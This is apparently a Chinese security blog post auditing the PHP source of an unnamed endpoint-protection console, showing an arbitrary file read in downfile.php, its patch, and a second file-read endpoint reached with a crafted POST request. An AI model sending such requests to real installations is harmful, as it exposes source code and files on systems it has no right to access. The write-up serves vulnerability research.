某个终端防护管理的源码,历史漏洞中有一个漏洞存在于文件 /Console/htmltopdf/downfile.php 中
<?php
$filename= $_GET["filename"];
$filename=iconv("UTF-8","GBK//IGNORE", $filename);
header("Cache-Control: public");
header("Content-Description: File Transfer");
header('Content-disposition: attachment; filename='.$filename); //文件名
header("Content-Type: application/zip"); //zip格式的
header("Content-Transfer-Encoding: binary"); //告诉浏览器,这是二进制文件
header('Content-Length: '. filesize($filename)); //告诉浏览器,文件大小
@readfile($filename);
?>
下载新版本发现了这个漏洞被修复了,而且添加了鉴权
$filename = $_GET["filename"]; $allow_ext = ['pdf', "csv"]; $ext = getFileExt($filename); if (!in_array($ext, $allow_ext)) { echo "visit error type:" . $ext; return; } if(stripos($filename, "..") !== false) { echo "only allow visit current dir"; return ; } $filename = iconv("UTF-8", "GBK//IGNORE", $filename); header("Cache-Control: public"); header("Content-Description: File Transfer"); header('Content-disposition: attachment; filename=' . $filename); //文件名 header("Content-Type: application/zip"); //zip格式的 header("Content-Transfer-Encoding: binary"); //告诉浏览器,这是二进制文件 header('Content-Length: ' . filesize($filename)); //告诉浏览器,文件大小 @readfile($filename);
那也就是说没有办法文件读取了,重新审计一下获得的源码
通过 vscode 查找相关的关键字
发现其中的 filepath 参数可控,但不能出现 .. 关键字
<?php if(stripos($_POST['filepath'],"..") !== false) { echo 'no file founggd'; exit(); } ini_set("open_basedir", "../"); $file_path = '../'.iconv("utf-8","gb2312",$_POST['filepath']); if(!file_exists($file_path)){ echo 'no file founggd'; exit(); } $fp=fopen($file_path,"r"); $file_size=filesize($file_path); $buffer=5024; $file_count=0; while(!feof($fp) && $file_count<$file_size){ $file_con=fread($fp,$buffer); $file_count+=$buffer; echo $file_con; } fclose($fp); ?>
也就是说我们只能读取 /Console 文件夹下的文件了 (Web目录)
构造请求
POST /receive_file/get_file_content.php filepath=receive_file/get_file_content.php
知识星球
加入知识星球,查看多个知识库~
最后
下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群加我拉你啦~
别忘了Github下载完给个小星星⭐
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
PeiQi文库 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
本文始发于微信公众号(PeiQi文库):5p+Q57uI56uv6Ziy5oqk5Lqn5ZOB5Luj56CB5a6h6K6h
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论